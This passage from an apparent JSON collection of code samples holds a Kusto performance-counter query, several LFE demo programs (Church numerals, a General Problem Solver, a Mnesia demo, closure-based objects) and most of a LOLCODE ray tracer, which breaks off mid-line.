PERFORMANCE COUNTERS\n//\n\nlet startTime = ago(7d);\nlet endTime = now();\nlet T = ['counter_serviceFabricLogs'];\nT\n| where Timestamp between (startTime .. endTime)\n| where CounterName contains \"Avg. Disk Queue Length\" and CounterName contains \"c:\"\n//| where CounterName contains \"% Idle Time\" and CounterName contains \"c:\"\n//| where CounterName contains \"Avg. Disk Queue Length\" and CounterName contains \"d:\"\n//| where CounterName contains \"% Idle Time\" and CounterName contains \"d:\"\n//| where CounterName contains \"TCP\" and CounterName contains \"reset\"\n//| where CounterName contains \"TCP\" and CounterName contains \"fail\"\n//| where CounterName contains \"TCP\" and CounterName contains \"segments received\"\n//| where CounterName contains \"TCP\" and CounterName contains \"segments retransmitted\"\n//| where CounterName contains \"TCP\" and CounterName contains \"segments sent\"\n//| where CounterName contains \"TCP\" and CounterName contains \"connections active\"\n//| where CounterName contains \"TCP\" and CounterName contains \"connections passive\"\n//| where CounterName contains \"Processor(_Total)\"\n//| where CounterName contains \"Paging File(_Total)\\\\% Usage\"\n//| where CounterName contains \"Available Mbytes\"\n//| where CounterName contains \"Pool Paged Bytes\"\n//| where CounterName contains \"Pool NonPaged Bytes\"\n//| where CounterName contains \"Process(Fabric)\\\\% Processor Time\"\n//| where CounterName contains \"Process(FabricDCA)\\\\% Processor Time\"\n//| where CounterName contains \"Items/Second inserted into the job queue\"\n//| where CounterName contains \"Items/Second failed to be inserted into the job queue\"\n//| where CounterName  contains \"Avg. time in ms an item spends in the queue/Operation\" \n//| where CounterName contains \"#InBuild Replicas\" \n//| where CounterName contains \"#Replicas\" \n//| where CounterName contains \"#Service Types\" \n//| where CounterName contains \"# of Active Callback\"\n//| where CounterName contains \"exceptions\"\n//| where CounterName contains \"Invocations/Sec\"\n//| where CounterName contains \"Items in the job queue\"\n//| where NodeName == \"_nt0_0\"\n//| extend disk = extract(@\"PhysicalDisk\\(\\d (?P<disk>.+:)\\)\\\\Avg. Disk Queue Length\", 1, CounterName)\n//| summarize percentiles(CounterValue,5,50,95) by xtime=bin(Timestamp,1m), NodeName //CounterName, disk\n//| where CounterValue > 75\n//| sample 5000\n| summarize avg(CounterValue) by xtime=bin(Timestamp,1m), NodeName //CounterName, NodeName, disk\n| render timechart;\n"
  },
  {
    "path": "samples/LFE/church.lfe",
    "content": ";; Copyright (c) 2013 Duncan McGreggor <oubiwann@cogitat.io>\n;;\n;; Licensed under the Apache License, Version 2.0 (the \"License\");\n;; you may not use this file except in compliance with the License.\n;; You may obtain a copy of the License at\n;;\n;;     http://www.apache.org/licenses/LICENSE-2.0\n;;\n;; Unless required by applicable law or agreed to in writing, software\n;; distributed under the License is distributed on an \"AS IS\" BASIS,\n;; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n;; See the License for the specific language governing permissions and\n;; limitations under the License.\n\n;; File    : church.lfe\n;; Author  : Duncan McGreggor\n;; Purpose : Demonstrating church numerals from the lambda calculus\n\n;; The code below was used to create the section of the user guide here:\n;;    http://lfe.github.io/user-guide/recursion/5.html\n;;\n;; Here is some example usage:\n;;\n;; > (slurp '\"church.lfe\")\n;; #(ok church)\n;; > (zero)\n;; #Fun<lfe_eval.10.53503600>\n;; > (church->int1 (zero))\n;; 0\n;; > (church->int1 (three))\n;; 3\n;; > (church->int1 (five))\n;; 5\n;; > (church->int2 #'five/0)\n;; 5\n;; > (church->int2 (lambda () (get-church 25)))\n;; 25\n\n(defmodule church\n  (export all))\n\n(defun zero ()\n  (lambda (s)\n    (lambda (x) x)))\n\n(defun one ()\n  (lambda (s)\n    (lambda (x)\n      (funcall s x))))\n\n(defun two ()\n  (lambda (s)\n    (lambda (x)\n      (funcall s\n        (funcall s x)))))\n\n(defun three ()\n  (lambda (s)\n    (lambda (x)\n      (funcall s\n        (funcall s\n          (funcall s x))))))\n\n(defun four ()\n  (lambda (s)\n    (lambda (x)\n      (funcall s\n        (funcall s\n          (funcall s\n            (funcall s x)))))))\n\n(defun five ()\n  (get-church 5))\n\n(defun int-successor (n)\n  (+ n 1))\n\n(defun church->int1 (church-numeral)\n  \"\n  Converts a called church numeral to an integer, e.g.:\n  > (church->int1 (five))\n  \"\n  (funcall\n    (funcall church-numeral #'int-successor/1) 0))\n\n(defun church->int2 (church-numeral)\n  \"\n  Converts a non-called church numeral to an integer, e.g.:\n  > (church->int2 #'five/0)\n  \"\n  (funcall\n    (funcall\n      (funcall church-numeral) #'int-successor/1) 0))\n\n(defun church-successor (church-numeral)\n  (lambda (s)\n    (lambda (x)\n      (funcall s\n        (funcall\n          (funcall church-numeral s) x)))))\n\n(defun get-church (church-numeral count limit)\n  (cond ((== count limit) church-numeral)\n        ((/= count limit)\n         (get-church\n           (church-successor church-numeral)\n           (+ 1 count)\n           limit))))\n\n(defun get-church (integer)\n  (get-church (zero) 0 integer))\n"
  },
  {
    "path": "samples/LFE/gps1.lfe",
    "content": ";;; -*- Mode: LFE; -*-\n;;; Code from Paradigms of Artificial Intelligence Programming\n;;; Copyright (c) 1991 Peter Norvig\n\n;;;; File gps1.lisp: First version of GPS (General Problem Solver)\n\n;;;; Converted to LFE by Robert Virding\n\n;; Define macros for global variable access. This is a hack and very naughty!\n(defsyntax defvar\n  ([name val] (let ((v val)) (put 'name v) v)))\n\n(defsyntax setvar\n  ([name val] (let ((v val)) (put 'name v) v)))\n\n(defsyntax getvar\n  ([name] (get 'name)))\n\n;; Module definition.\n\n(defmodule gps1\n  (export (gps 2) (gps 3) (school-ops 0))\n  (import (from lists (member 2) (all 2) (any 2))\n      ;; Rename lists functions to be more CL like.\n      (rename lists ((all 2) every) ((any 2) some) ((filter 2) find-all))))\n\n;; An operation.\n(defrecord op\n  action preconds add-list del-list)\n\n;; General Problem Solver: achieve all goals using *ops*.\n(defun gps (state goals ops)\n  ;; Set global variables\n  (defvar *state* state)    ;The current state: a list of conditions.\n  (defvar *ops* ops)        ;A list of available operators.\n  (if (every (fun achieve 1) goals) 'solved))\n\n(defun gps (state goals)\n  ;; Set global variables, but use existing *ops*\n  (defvar *state* state)    ;The current state: a list of conditions.\n  (if (every (fun achieve 1) goals) 'solved))\n\n;; A goal is achieved if it already holds or if there is an\n;; appropriate op for it that is applicable.\"\n(defun achieve (goal)\n  (orelse (member goal (getvar *state*))\n      (some (fun apply-op 1)\n        (find-all (lambda (op) (appropriate-p goal op))\n              (getvar *ops*)))))\n\n;; An op is appropriate to a goal if it is in its add list.\n(defun appropriate-p (goal op)\n  (member goal (op-add-list op)))\n\n;; Print a message and update *state* if op is applicable.\n(defun apply-op (op)\n  (if (every (fun achieve 1) (op-preconds op))\n    (progn\n      (: io fwrite '\"executing ~p\\n\" (list (op-action op)))\n      (setvar *state* (set-difference (getvar *state*) (op-del-list op)))\n      (setvar *state* (union (getvar *state*) (op-add-list op)))\n      'true)))\n\n;; Define the set functions to work on list, a listsets module really.\n(defun set-difference\n  ([(cons e es) s2]\n   (if (member e s2)\n     (set-difference es s2)\n     (cons e (set-difference es s2))))\n  ([() s2] ()))\n\n(defun union\n  ([(cons e es) s2]\n   (if (member e s2) (union es s2) (cons e (union es s2))))\n  ([() s2] ()))\n\n;;; ==============================\n\n(defun school-ops ()\n  (list\n    (make-op action 'drive-son-to-school\n         preconds '(son-at-home car-works)\n         add-list '(son-at-school)\n         del-list '(son-at-home))\n    (make-op action 'shop-installs-battery\n         preconds '(car-needs-battery shop-knows-problem shop-has-money)\n         add-list '(car-works)\n         del-list ())\n    (make-op action 'tell-shop-problem\n         preconds '(in-communication-with-shop)\n         add-list '(shop-knows-problem)\n         del-list ())\n    (make-op action 'telephone-shop\n         preconds '(know-phone-number)\n         add-list '(in-communication-with-shop)\n         del-list ())\n    (make-op action 'look-up-number\n         preconds '(have-phone-book)\n         add-list '(know-phone-number)\n         del-list ())\n    (make-op action 'give-shop-money\n         preconds '(have-money)\n         add-list '(shop-has-money)\n         del-list '(have-money))))\n"
  },
  {
    "path": "samples/LFE/mnesia_demo.lfe",
    "content": ";; Copyright (c) 2008-2013 Robert Virding\n;;\n;; Licensed under the Apache License, Version 2.0 (the \"License\");\n;; you may not use this file except in compliance with the License.\n;; You may obtain a copy of the License at\n;;\n;;     http://www.apache.org/licenses/LICENSE-2.0\n;;\n;; Unless required by applicable law or agreed to in writing, software\n;; distributed under the License is distributed on an \"AS IS\" BASIS,\n;; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n;; See the License for the specific language governing permissions and\n;; limitations under the License.\n\n;; File    : mnesia_demo.lfe\n;; Author  : Robert Virding\n;; Purpose : A simple Mnesia demo file for LFE.\n\n;; This file contains a simple demo of using LFE to access Mnesia\n;; tables.  It shows how to use the emp-XXXX macro (ETS match pattern)\n;; together with mnesia:match_object, match specifications with\n;; mnesia:select and Query List Comprehensions.\n\n(defmodule mnesia_demo\n  (export (new 0) (by_place 1) (by_place_ms 1) (by_place_qlc 1)))\n\n(defrecord person name place job)\n\n(defun new ()\n  ;; Start mnesia and create a table, we will get an in memory only schema.\n  (: mnesia start)\n  (: mnesia create_table 'person '(#(attributes (name place job))))\n  ;; Initialise the table.\n  (let ((people '(\n          ;; First some people in London.\n          #(fred london waiter)\n          #(bert london waiter)\n          #(john london painter)\n          #(paul london driver)\n          ;; Now some in Paris.\n          #(jean paris waiter)\n          #(gerard paris driver)\n          #(claude paris painter)\n          #(yves paris waiter)\n          ;; And some in Rome.\n          #(roberto rome waiter)\n          #(guiseppe rome driver)\n          #(paulo rome painter)\n          ;; And some in Berlin.\n          #(fritz berlin painter)\n          #(kurt berlin driver)\n          #(hans berlin waiter)\n          #(franz berlin waiter)\n          )))\n    (: lists foreach (match-lambda\n               ([(tuple n p j)]\n            (: mnesia transaction\n              (lambda ()\n                (let ((new (make-person name n place p job j)))\n                  (: mnesia write new))))))\n       people)))\n\n;; Match records by place using match_object and the emp-XXXX macro.\n(defun by_place (place)\n  (: mnesia transaction\n    (lambda () (: mnesia match_object (emp-person place place)))))\n\n;; Use match specifications to match records\n(defun by_place_ms (place)\n  (let ((f (lambda () (: mnesia select 'person\n             (match-spec ([(match-person name n place p job j)]\n                      (when (=:= p place))\n                      (tuple n j)))))))\n    (: mnesia transaction f)))\n\n;; Use Query List Comprehensions to match records\n(defun by_place_qlc (place)\n  (let ((f (lambda ()\n         (let ((q (qlc (lc ((<- person (: mnesia table 'person))\n                (=:= (person-place person) place))\n                 person))))\n           (: qlc e q)))))\n    (: mnesia transaction f)))\n"
  },
  {
    "path": "samples/LFE/object.lfe",
    "content": ";; Copyright (c) 2013 Duncan McGreggor <oubiwann@cogitat.io>\n;;\n;; Licensed under the Apache License, Version 2.0 (the \"License\");\n;; you may not use this file except in compliance with the License.\n;; You may obtain a copy of the License at\n;;\n;;     http://www.apache.org/licenses/LICENSE-2.0\n;;\n;; Unless required by applicable law or agreed to in writing, software\n;; distributed under the License is distributed on an \"AS IS\" BASIS,\n;; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n;; See the License for the specific language governing permissions and\n;; limitations under the License.\n\n;; File    : object.lfe\n;; Author  : Duncan McGreggor\n;; Purpose : Demonstrating simple OOP with closures\n\n;; The simple object system demonstrated below shows how to do the following:\n;;  * create objects\n;;  * call methods on those objects\n;;  * have methods which can call other methods\n;;  * update the state of an instance variable\n;;\n;; Note, however, that his example does not demonstrate inheritance.\n;;\n;; To use the code below in LFE, do the following:\n;;\n;;  $ cd examples\n;;  $ ../bin/lfe -pa ../ebin\n;;\n;; Load the file and create a fish-class instance:\n;;\n;; > (slurp '\"object.lfe\")\n;; #(ok object)\n;; > (set mommy-fish (fish-class '\"Carp\"))\n;; #Fun<lfe_eval.10.91765564>\n;;\n;; Execute some of the basic methods:\n;;\n;; > (get-species mommy-fish)\n;; \"Carp\"\n;; > (move mommy-fish 17)\n;; The Carp swam 17 feet!\n;; ok\n;; > (get-id mommy-fish)\n;; \"47eebe91a648f042fc3fb278df663de5\"\n;;\n;; Now let's look at \"modifying\" state data (e.g., children counts):\n;;\n;; > (get-children mommy-fish)\n;; ()\n;; > (get-children-count mommy-fish)\n;; 0\n;; > (set (mommy-fish baby-fish-1) (reproduce mommy-fish))\n;; (#Fun<lfe_eval.10.91765564> #Fun<lfe_eval.10.91765564>)\n;; > (get-id mommy-fish)\n;; \"47eebe91a648f042fc3fb278df663de5\"\n;; > (get-id baby-fish-1)\n;; \"fdcf35983bb496650e558a82e34c9935\"\n;; > (get-children-count mommy-fish)\n;; 1\n;; > (set (mommy-fish baby-fish-2) (reproduce mommy-fish))\n;; (#Fun<lfe_eval.10.91765564> #Fun<lfe_eval.10.91765564>)\n;; > (get-id mommy-fish)\n;; \"47eebe91a648f042fc3fb278df663de5\"\n;; > (get-id baby-fish-2)\n;; \"3e64e5c20fb742dd88dac1032749c2fd\"\n;; > (get-children-count mommy-fish)\n;; 2\n;; > (get-info mommy-fish)\n;; id: \"47eebe91a648f042fc3fb278df663de5\"\n;; species: \"Carp\"\n;; children: [\"fdcf35983bb496650e558a82e34c9935\",\n;;            \"3e64e5c20fb742dd88dac1032749c2fd\"]\n;; ok\n\n(defmodule object\n (export all))\n\n(defun fish-class (species)\n  \"\n  This is the constructor that will be used most often, only requiring that\n  one pass a 'species' string.\n\n  When the children are not defined, simply use an empty list.\n  \"\n  (fish-class species ()))\n\n(defun fish-class (species children)\n  \"\n  This contructor is mostly useful as a way of abstracting out the id\n  generation from the larger constructor. Nothing else uses fish-class/2\n  besides fish-class/1, so it's not strictly necessary.\n\n  When the id isn't know, generate one.\"\n  (let* (((binary (id (size 128))) (: crypto rand_bytes 16))\n         (formatted-id (car\n                         (: io_lib format\n                           '\"~32.16.0b\" (list id)))))\n    (fish-class species children formatted-id)))\n\n(defun fish-class (species children id)\n  \"\n  This is the constructor used internally, once the children and fish id are\n  known.\n  \"\n  (let ((move-verb '\"swam\"))\n    (lambda (method-name)\n      (case method-name\n        ('id\n          (lambda (self) id))\n        ('species\n          (lambda (self) species))\n        ('children\n          (lambda (self) children))\n        ('info\n          (lambda (self)\n            (: io format\n              '\"id: ~p~nspecies: ~p~nchildren: ~p~n\"\n              (list (get-id self)\n                    (get-species self)\n                    (get-children self)))))\n        ('move\n          (lambda (self distance)\n            (: io format\n              '\"The ~s ~s ~p feet!~n\"\n              (list species move-verb distance))))\n        ('reproduce\n          (lambda (self)\n            (let* ((child (fish-class species))\n                   (child-id (get-id child))\n                   (children-ids (: lists append\n                                   (list children (list child-id))))\n                   (parent-id (get-id self))\n                   (parent (fish-class species children-ids parent-id)))\n              (list parent child))))\n        ('children-count\n          (lambda (self)\n            (: erlang length children)))))))\n\n(defun get-method (object method-name)\n  \"\n  This is a generic function, used to call into the given object (class\n  instance).\n  \"\n  (funcall object method-name))\n\n; define object methods\n(defun get-id (object)\n  (funcall (get-method object 'id) object))\n\n(defun get-species (object)\n  (funcall (get-method object 'species) object))\n\n(defun get-info (object)\n  (funcall (get-method object 'info) object))\n\n(defun move (object distance)\n  (funcall (get-method object 'move) object distance))\n\n(defun reproduce (object)\n  (funcall (get-method object 'reproduce) object))\n\n(defun get-children (object)\n  (funcall (get-method object 'children) object))\n\n(defun get-children-count (object)\n  (funcall (get-method object 'children-count) object))"
  },
  {
    "path": "samples/LOLCODE/LOLTracer.lol",
    "content": "HAI 1.3\n    OBTW\n      Author: Logan Kelly (logan.kelly@gmail.com)\n      Github: https://github.com/LoganKelly/LOLTracer\n    TLDR\n\n    OBTW prev is the number used in the randin function.\n         I had to declare it in global scope so that it\n         would retain its value between calls to randin.\n    TLDR\n    I HAS A prev ITZ 0\n    I HAS A rand_max ITZ 104729\n\n\n    OBTW Equivalent to C's rand() function, except returns\n        a number in the range of 0 to rand_max.\n    TLDR\n    HOW IZ I randin\n        I HAS A a ITZ 33083\n        I HAS A c ITZ 67607\n        prev R MOD OF SUM OF PRODUKT OF prev AN a AN c AN rand_max\n        FOUND YR prev\n    IF U SAY SO\n\n\n    BTW Returns a random number within the range of 0-1.\n    HOW IZ I rand_onein\n        I HAS A rand_num ITZ I IZ randin MKAY\n        rand_num IS NOW A NUMBAR\n        I HAS A rand_max_float ITZ MAEK rand_max A NUMBAR\n        FOUND YR  QUOSHUNT OF rand_num AN rand_max_float\n    IF U SAY SO\n\n\n    OBTW Equivalent to C ceil() function. Returns the next\n        largest integer for the given number.\n    TLDR\n    HOW IZ I ceilin YR num\n        I HAS A int_num ITZ num\n        int_num IS NOW A NUMBR\n        BOTH SAEM int_num AN num, O RLY?\n            YA RLY, FOUND YR num\n        OIC\n        DIFFRINT num AN SMALLR OF num AN 0, O RLY?\n            YA RLY\n                int_num R SUM OF int_num AN 1\n                FOUND YR MAEK int_num A NUMBAR\n        OIC\n        DIFFRINT num AN BIGGR OF num AN 0, O RLY?\n            YA RLY\n                FOUND YR MAEK int_num A NUMBAR\n        OIC\n    IF U SAY SO\n\n\n    OBTW Convert a number to hexadecimal. This\n         is returned as a string.\n    TLDR\n    HOW IZ I decimal_to_hex YR num\n        I HAS A i ITZ 0\n        I HAS A rem\n        I HAS A hex_num ITZ A BUKKIT\n        I HAS A decimal_num ITZ num\n        IM IN YR num_loop\n            rem R MOD OF decimal_num AN 16\n            I HAS A hex_digit\n            rem, WTF?\n                OMG 10, hex_digit R \"A\", GTFO\n                OMG 11, hex_digit R \"B\", GTFO\n                OMG 12, hex_digit R \"C\", GTFO\n                OMG 13, hex_digit R \"D\", GTFO\n                OMG 14, hex_digit R \"E\", GTFO\n                OMG 15, hex_digit R \"F\", GTFO\n                OMGWTF, hex_digit R rem\n            OIC\n            hex_num HAS A SRS i ITZ hex_digit\n            decimal_num R QUOSHUNT OF decimal_num AN 16\n            BOTH SAEM decimal_num AN 0, O RLY?\n                YA RLY, GTFO\n                NO WAI, i R SUM OF i AN 1\n            OIC\n        IM OUTTA YR num_loop\n        I HAS A hex_string ITZ A YARN\n        IM IN YR string_reverse\n            DIFFRINT i AN BIGGR OF i AN 0, O RLY?\n                YA RLY, GTFO\n            OIC\n            hex_string R SMOOSH hex_string AN hex_num'Z SRS i MKAY\n            i R DIFF OF i AN 1\n        IM OUTTA YR string_reverse\n        FOUND YR hex_string\n    IF U SAY SO\n\n\n    OBTW Convert a number to binary. This is returned\n         as a bukkit which has slots number 0-N where\n         n is equal to the number of binary digits - 1.\n         It also has a length slot which is equal to\n         the number of binary digits.\n    TLDR\n    HOW IZ I decimal_to_binary YR num\n        I HAS A i ITZ 0\n        I HAS A decimal_num ITZ num\n        I HAS A binary_num ITZ A BUKKIT\n        IM IN YR num_loop\n            binary_num HAS A SRS i ITZ MOD OF decimal_num AN 2\n            decimal_num R QUOSHUNT OF decimal_num AN 2\n            BOTH SAEM decimal_num AN 0, O RLY?\n                YA RLY\n                    I HAS A length ITZ SUM OF i AN 1\n                    binary_num HAS A length ITZ length\n                    GTFO\n                NO WAI, i R SUM OF i AN 1\n            OIC\n        IM OUTTA YR num_loop\n        FOUND YR binary_num\n    IF U SAY SO\n\n\n    OBTW Bitwise and two binary numbers. The numbers\n         must be provided in the format returned by\n         decimal_to_binary.\n    TLDR\n    HOW IZ I bitwise_andin YR first_num AN YR second_num\n        I HAS A binary_first_num ITZ I IZ decimal_to_binary YR first_num MKAY\n        I HAS A binary_second_num ITZ I IZ decimal_to_binary YR second_num MKAY\n        I HAS A first_length ITZ binary_first_num'Z length\n        I HAS A second_length ITZ binary_second_num'Z length\n        I HAS A max_length ITZ BIGGR OF first_length AN second_length\n        I HAS A final_binary ITZ A BUKKIT\n        I HAS A final_length ITZ 0\n        I HAS A i ITZ 0\n        IM IN YR num_loop\n            BOTH SAEM i AN max_length, O RLY?\n                YA RLY, GTFO\n            OIC\n            I HAS A first_binary ITZ 0\n            I HAS A second_binary ITZ 0\n            DIFFRINT i AN BIGGR OF i AN first_length, O RLY?\n                YA RLY, first_binary R binary_first_num'Z SRS i\n            OIC\n            DIFFRINT i AN BIGGR OF i AN second_length, O RLY?\n                YA RLY, second_binary R binary_second_num'Z SRS i\n            OIC\n            EITHER OF BOTH SAEM first_binary AN 0 AN ...\n                      BOTH SAEM second_binary AN 0, O RLY?\n                YA RLY, final_binary HAS A SRS i ITZ 0\n                NO WAI\n                    final_binary HAS A SRS i ITZ 1\n                    final_length R SUM OF i AN 1\n            OIC\n            i R SUM OF i AN 1\n        IM OUTTA YR num_loop\n        final_binary HAS A length ITZ final_length\n        FOUND YR final_binary\n    IF U SAY SO\n\n\n    OBTW Bitshift left a binary number by num_bits.\n         The binary number must be provided in the format\n         returned by decimal_to_binary.\n    TLDR\n    HOW IZ I bit_shift_leftin YR num AN YR num_bits\n        I HAS A binary_num ITZ num\n        I HAS A length ITZ binary_num'Z length\n        I HAS A i ITZ SUM OF DIFF OF length AN 1 AN num_bits\n        I HAS A shifted_binary_num ITZ A BUKKIT\n        IM IN YR num_loop\n            BOTH SAEM i AN -1, O RLY?\n                YA RLY, GTFO\n            OIC\n            I HAS A unshifted_index ITZ DIFF OF i AN num_bits\n            BOTH SAEM unshifted_index AN BIGGR OF unshifted_index AN 0, O RLY?\n                YA RLY\n                    shifted_binary_num HAS A SRS i ITZ binary_num'Z SRS unshifted_index\n                NO WAI\n                    shifted_binary_num HAS A SRS i ITZ 0\n            OIC\n            i R DIFF OF i AN 1\n        IM OUTTA YR num_loop\n        shifted_binary_num HAS A length ITZ SUM OF binary_num'Z length AN num_bits\n        FOUND YR shifted_binary_num\n    IF U SAY SO\n\n\n    OBTW Convert a binary number into a decimal number.\n         The binary number must be provided in the format\n         return by decimal_to_binary.\n    TLDR\n    HOW IZ I binary_to_decimal YR binary_num\n        I HAS A length ITZ binary_num'Z length\n        I HAS A decimal_num ITZ 0\n        I HAS A i ITZ 0\n        IM IN YR num_loop\n            BOTH SAEM i AN length, O RLY?\n                YA RLY, GTFO\n            OIC\n            I HAS A binary_value ITZ binary_num'Z SRS i\n            I HAS A decimal_value ITZ 0\n            BOTH SAEM binary_value AN 1, O RLY?\n                YA RLY, decimal_value R I IZ power_of YR 2 AN YR i MKAY\n            OIC\n            decimal_num R SUM OF decimal_num AN decimal_value\n            i R SUM OF i AN 1\n        IM OUTTA YR num_loop\n        FOUND YR decimal_num\n    IF U SAY SO\n\n\n    OBTW Equivalent to C's pow() function. Raises\n         base to the power of exponent.\n    TLDR\n    HOW IZ I power_of YR base AN YR exponent\n        I HAS A i ITZ 0\n        I HAS A num ITZ 1\n        IM IN YR num_loop\n            BOTH SAEM i AN exponent, O RLY?\n                YA RLY, GTFO\n            OIC\n            num R PRODUKT OF num AN base\n            i R SUM OF i AN 1\n        IM OUTTA YR num_loop\n        FOUND YR num\n    IF U SAY SO\n\n\n    OBTW Return a binary number as a YARN.\n         The binary number must be provided in the format\n         return by decimal_to_binary.\n    TLDR\n    HOW IZ I binary_to_string YR binary_num\n        I HAS A binary_string ITZ A YARN\n        I HAS A i ITZ DIFF OF binary_num'Z length AN 1\n        IM IN YR string_reverse\n            DIFFRINT i AN BIGGR OF i AN 0, O RLY?\n                YA RLY, GTFO\n            OIC\n            binary_string R SMOOSH binary_string AN binary_num'Z SRS i MKAY\n            i R DIFF OF i AN 1\n        IM OUTTA YR string_reverse\n        FOUND YR binary_string\n    IF U SAY SO\n\n    OBTW Converts a hexadecimal number to the character\n         equivalent in UNICODE. This was originally used\n         in an attempt to write out to the P6 format of PPM,\n         but the string produced by VISIBLE didn't seem to be\n         properly formatted for some reason. Instead I fell back\n         to P3 of PPM and wrote out to regular ascii format.\n    TLDR\n    HOW IZ I hex_to_char YR hex_string\n        OBTW This is a hack I found for converting hexadecimal strings\n             into their unicode character equivalents. Instead of using\n             the \":\" character directly, we escape it and get it using its\n             unicode hex value (3A). This allows us to assemble the string\n             with our inserted hex value without errors.\n        TLDR\n        FOUND YR SMOOSH \":(3A)\" AN \"(\" AN hex_string AN \")\" MKAY\n    IF U SAY SO\n\n\n    OBTW Equivalent to C's square() function. However it will only\n         produce accurate results if the number is no larger than\n         1048576. See the note below. This is based upon Newton's\n         Approximation Method as adapted in C at this website (#11):\n\n         http://www.codeproject.com/Articles/69941/Best-Square-Root-Method-Algorithm-Function-Precisi\n    TLDR\n    HOW IZ I square_rootin YR number\n        OBTW Forcing a comparison between  the accuracy and a number\n             which is so big that its precision is larger than the\n             accuracy causes an infinite loop to occur. For this\n             reason we have to set any number larger than 2^20 to\n             a value below it.\n        TLDR\n        BOTH SAEM number AN BIGGR OF number AN 1048576.00, O RLY?\n            YA RLY, number R 1048575.00\n        OIC\n        I HAS A accuracy ITZ 0.0001\n        I HAS A lower ITZ A NUMBAR\n        I HAS A upper ITZ A NUMBAR\n        I HAS A guess ITZ A NUMBAR\n        DIFFRINT number AN BIGGR OF number AN 1.0, O RLY?\n            YA RLY\n                lower R number\n                upper R 1.0\n            NO WAI\n                lower R 1.0\n                upper R number\n        OIC\n        IM IN YR LOOP\n            I HAS A delta ITZ DIFF OF upper AN lower\n            BOTH SAEM delta AN SMALLR OF delta AN accuracy, O RLY?\n                YA RLY, GTFO\n            OIC\n            I HAS A guess ITZ QUOSHUNT OF SUM OF lower AN upper AN 2.0\n            I HAS A guess_squared ITZ PRODUKT OF guess AN guess\n            DIFFRINT guess_squared AN SMALLR OF guess_squared AN number, O RLY?\n                YA RLY\n                    upper R guess\n                NO WAI\n                    lower R guess\n            OIC\n        IM OUTTA YR LOOP\n        FOUND YR QUOSHUNT OF SUM OF lower AN upper AN 2.0\n    IF U SAY SO\n\n\n    OBTW\n         The intersection test for line [o, d]\n         Return 2 if a hit was found (and also return distance t and bouncing ray n).\n         Return 0 if no hit was found but ray goes upward\n         Return 1 if no hit was found but ray goes downward\n    TLDR\n    HOW IZ I tracin YR o AN YR d\n        I HAS A t ITZ 1000000000\n        I HAS A m ITZ 0\n        BOTH SAEM d'Z z AN 0, O RLY?\n            YA RLY, d'Z z R 0.00001\n        OIC\n        I HAS A p ITZ QUOSHUNT OF DIFF OF 0 AN o'Z z AN d'Z z\n        I HAS A n ITZ LIEK A Vector\n        DIFFRINT p AN SMALLR OF p AN 0.01, O RLY?\n            YA RLY\n                t R p\n                n R Vector IZ constructin YR 0.0 AN YR 0.0 AN YR 1.0 MKAY\n                m R 1\n        OIC\n\n        BTW The world is encoded in sphere_positions, with 9 lines and 19 columns\n        I HAS A k ITZ 18\n        IM IN YR column_loop BTW For each column of objects\n            BOTH SAEM k AN -1, O RLY?\n                YA RLY, GTFO\n            OIC\n\n            I HAS A j ITZ 8\n            IM IN YR line_loop BTW For each line on that column\n                BOTH SAEM j AN -1, O RLY?\n                    YA RLY, GTFO\n                OIC\n\n                I HAS A sphere_positions_line ITZ sphere_positions'Z SRS j\n                sphere_positions_line'Z SRS k, O RLY?\n                    YA RLY\n                       BTW There is a sphere, but does the ray hit it?\n                       p R Vector IZ addin YR o AN YR ...\n                           Vector IZ constructin YR DIFF OF 0 AN k AN ...\n                                                 YR 0 AN ...\n                                                 YR DIFF OF DIFF OF 0 AN j AN 4 MKAY ...\n                           MKAY\n                       I HAS A b ITZ Vector IZ dot_productin YR p AN YR d MKAY\n                       I HAS A q_c ITZ DIFF OF Vector IZ dot_productin YR p AN YR p MKAY AN 1\n                       I HAS A q ITZ DIFF OF PRODUKT OF b AN b AN q_c\n\n\n                       DIFFRINT q AN SMALLR OF q AN 0, O RLY?\n                           YA RLY\n                               BTW It does, compute the distance camera-sphere\n                               I HAS A s ITZ DIFF OF DIFF OF 0 AN b AN I IZ square_rootin YR q MKAY\n\n\n                               BOTH OF DIFFRINT s AN BIGGR OF s AN t AN ...\n                                       DIFFRINT s AN SMALLR OF s AN 0.01, O RLY?\n                                   YA RLY\n                                       BTW So far this is the minimum distance, save it. And\n                                       BTW also compute the bouncing ray vector into 'n'\n                                       t R s\n                                       I HAS A bouncing_ray ITZ Vector IZ scalin YR direction AN YR t MKAY\n                                       bouncing_ray R Vector IZ addin YR p AN YR bouncing_ray MKAY\n                                       n R Vector IZ normalizin YR bouncing_ray MKAY\n                                       m R 2\n                               OIC\n                       OIC\n                OIC\n                j R DIFF OF j AN 1\n            IM OUTTA YR line_loop\n            k R DIFF OF k AN 1\n        IM OUTTA YR column_loop\n        I HAS A result ITZ A BUKKIT\n        result HAS A m ITZ m\n        result HAS A t ITZ t\n        result HAS A n ITZ n\n        FOUND YR result\n    IF U SAY SO\n\n\n    OBTW\n        Sample the world and return the pixel color for\n        a ray [o, d]\n    TLDR\n    HOW IZ I samplin YR o AN YR d\n\n        BTW Search for an intersection ray Vs. world\n        I HAS A result ITZ I IZ tracin YR o AN YR d MKAY\n        I HAS A m ITZ result'Z m\n        I HAS A t ITZ result'Z t\n        I HAS A n ITZ result'Z n\n\n        BOTH SAEM m AN 0, O RLY?\n            YA RLY\n                BTW No sphere found and the ray goes upward: Generate a sky color\n                I HAS A vec_result ITZ Vector IZ constructin YR 0.7 AN YR 0.6 AN YR 1.0 MKAY\n\n                I HAS A z_component ITZ d'Z z\n                DIFFRINT z_component AN BIGGR OF z_component AN 0, O RLY?\n                    YA RLY, z_component R 0\n                OIC\n                I HAS A vec_num ITZ DIFF OF 1 AN z_component\n                vec_num R I IZ power_of YR vec_num AN YR 4 MKAY\n                FOUND YR Vector IZ scalin YR vec_result AN YR vec_num MKAY\n        OIC\n\n        BTW h = intersection coordinate\n        I HAS A h ITZ Vector IZ scalin YR d AN YR t MKAY\n        h R Vector IZ addin YR o AN YR h MKAY\n        BTW l = direction to light (with random delta for soft shadows)\n        I HAS A l ITZ LIEK A Vector\n        l HAS A x ITZ SUM OF 9 AN I IZ rand_onein MKAY\n        l HAS A y ITZ SUM OF 9 AN I IZ rand_onein MKAY\n        l HAS A z ITZ 16\n        I HAS A l_two ITZ Vector IZ scalin YR h AN YR -1.0 MKAY\n        l R Vector IZ addin YR l AN YR l_two 